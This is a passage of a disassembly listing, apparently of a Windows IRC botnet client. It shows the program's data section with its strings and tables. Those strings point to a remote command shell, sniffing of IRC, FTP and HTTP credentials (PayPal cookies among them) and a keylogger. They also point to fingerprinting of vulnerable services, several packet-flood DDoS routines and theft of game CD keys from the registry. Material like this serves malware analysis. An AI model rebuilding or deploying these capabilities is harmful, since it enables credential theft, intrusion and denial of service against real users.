64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 unk_4349EC db 2Dh ; - ; DATA XREF: sub_410A4D+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434A18 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434A4C db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434A94 db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434ABC db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434AFC db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434B3C db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 unk_434B7C db 2Dh ; - ; DATA XREF: sub_410FF8+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 dword_434BB8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4111CD+1B2o aFailedToSta_41 db '- Failed to start server on Port %d.',0 align 4 dword_434BEC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4111CD+18Fo aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0 align 4 dword_434C28 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4111CD+114o aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dword_434C6C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D2+1F9o aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 10h dword_434CB0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D2+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 10h dword_434CF0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D2+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 10h dword_434D30 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411796+41Co aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411796+3C4o align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411796+2CDo align 10h dw 8 unicode 0, <>,0 aB_0: ; DATA XREF: sub_411CF4:loc_411DD7o unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dword_435244 dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 ; DATA XREF: .packed:off_435DDCo dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_4354B4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_411CF4+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_4354EC dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: sub_411C13+AEo aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411C13+88o align 4 asc_43551C: ; DATA XREF: sub_411C13+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_411CF4+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_411CF4+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_411CF4+8Fo align 4 off_435568 dd offset dword_435DE0 ; DATA XREF: sub_411FD5+2B9r dd offset off_435DDC dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" dword_435578 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_411FD5+1DEo dword_43558C dd 0 ; DATA XREF: sub_411FD5+2B2r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: .packed:00435574o align 4 aFtp db 'FTP',0 ; DATA XREF: .packed:00435570o off_435DDC dd offset dword_435244+5 ; DATA XREF: .packed:0043556Co dword_435DE0 dd 544F42h ; DATA XREF: .packed:off_435568o dword_435DE4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_411FD5+317o aRecvFailedRetu db '- recv() failed, returned %d',0 align 10h dword_435E10 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_411FD5+2C6o aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 dword_435E44 dd 234032Dh, 696E7370h, 3026666h, 2Dh ; DATA XREF: sub_411FD5+24Co dword_435E54 dd 4E53505Bh, 5D464649h, 0 ; DATA XREF: sub_411FD5+235o dword_435E60 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_411FD5+186o aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h dword_435E90 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_411FD5+103o aBindFailedRetu db '- bind() failed, returned %d',0 align 4 dword_435EBC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_411FD5+85o aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_436054 db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43608C db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4360C4 db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4360F8 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43612C db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436160 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 10h unk_436190 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 unk_4361BC db 2Dh ; - ; DATA XREF: sub_412A53+5Eo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4361E4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h unk_436200 db 2Dh ; - ; DATA XREF: sub_412E9D+397o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 unk_43624C db 2Dh ; - ; DATA XREF: sub_412E9D+307o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 4 unk_436294 db 2Dh ; - ; DATA XREF: sub_412E9D+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 unk_4362B4 db 2Dh ; - ; DATA XREF: sub_412E9D+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 unk_4362E4 db 2Dh ; - ; DATA XREF: sub_412E9D+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 10h unk_436310 db 2Dh ; - ; DATA XREF: sub_413284+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 unk_43633C db 2Dh ; - ; DATA XREF: sub_413284+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 unk_436364 db 2Dh ; - ; DATA XREF: sub_413410+1C6o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 10h unk_436390 db 2Dh ; - ; DATA XREF: sub_413410+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 dword_4363B8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_413626+4Bo aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 unk_4363E4 db 2Dh ; - ; DATA XREF: sub_4137CC+4Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 unk_43640C db 2Dh ; - ; DATA XREF: sub_41386B+27Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 dword_43642C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_413B77+4Fo aDoneWithFlood_ db '- Done with flood.',0 align 4 unk_43644C db 2Dh ; - ; DATA XREF: sub_413E35+4EBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_43649C db 2Dh ; - ; DATA XREF: sub_413E35+44Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_4364EC db 2Dh ; - ; DATA XREF: sub_413E35+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 unk_43650C db 2Dh ; - ; DATA XREF: sub_413E35+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_436544 db 2Dh ; - ; DATA XREF: sub_413E35+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 unk_436578 db 2Dh ; - ; DATA XREF: sub_4143CB+66o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 unk_4365AC db 2Dh ; - ; DATA XREF: sub_4146CE+4Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 unk_4365EC db 2Dh ; - ; DATA XREF: sub_414745+345o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 unk_436678 db 2Dh ; - ; DATA XREF: sub_414745+2F3o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 unk_4366DC db 2Dh ; - ; DATA XREF: sub_414745+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 unk_436708 db 2Dh ; - ; DATA XREF: sub_414745+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 unk_43674C db 2Dh ; - ; DATA XREF: sub_414745+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 unk_43679C db 2Dh ; - ; DATA XREF: sub_414745+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 unk_4367C8 db 2Dh ; - ; DATA XREF: sub_414A91+60o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 ; DATA XREF: sub_414C2E+204o align 4 dword_4367FC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436810 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 4 dword_436848 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_43685C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_436870 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: sub_41528D+DCo dd 6574656Ch, 0 dword_43688C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_41528D+3Fo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 4 dd 80000001h off_4368BC dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_4368C8 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437A4Ch, 437A40h, 437A30h, 2 dup(0) dd 80000001h, 437A10h, 437A0Ch, 4379F8h, 2 dup(0) dd 80000001h, 4379D4h, 437A0Ch, 4379C8h, 2 dup(0) dd 80000001h, 4379A4h, 43799Ch, 437988h, 2 dup(0) dd 80000001h, 437974h, 437964h, 437948h, 2 dup(0) dd 80000001h, 437904h, 437A8Ch, 4378F0h, 2 dup(0) dd 80000002h, 4378C4h, 4378B8h, 437898h, 2 dup(0) dd 80000002h, 437864h, 437A8Ch, 43784Ch, 2 dup(0) dd 80000002h, 437818h, 437A8Ch, 437800h, 2 dup(0) dd 80000002h, 4377E8h, 437A8Ch, 4377D0h, 2 dup(0) dd 80000002h, 437794h, 43D7E8h, 437784h, 2 dup(0) dd 80000002h, 43774Ch, 43D7E8h, 437738h, 2 dup(0) dd 80000002h, 4376ECh, 43D7E8h, 4376CCh, 2 dup(0) dd 80000002h, 43767Ch, 43D7E8h, 437650h, 2 dup(0) dd 80000002h, 437614h, 43D7E8h, 437600h, 2 dup(0) dd 80000002h, 4375C8h, 43D7E8h, 4375B8h, 2 dup(0) dd 80000002h, 437568h, 43D7E8h, 43753Ch, 2 dup(0) dd 80000002h, 4374FCh, 43D7E8h, 4374E0h, 2 dup(0) dd 80000002h, 4374B0h, 43D7E8h, 437490h, 2 dup(0) dd 80000002h, 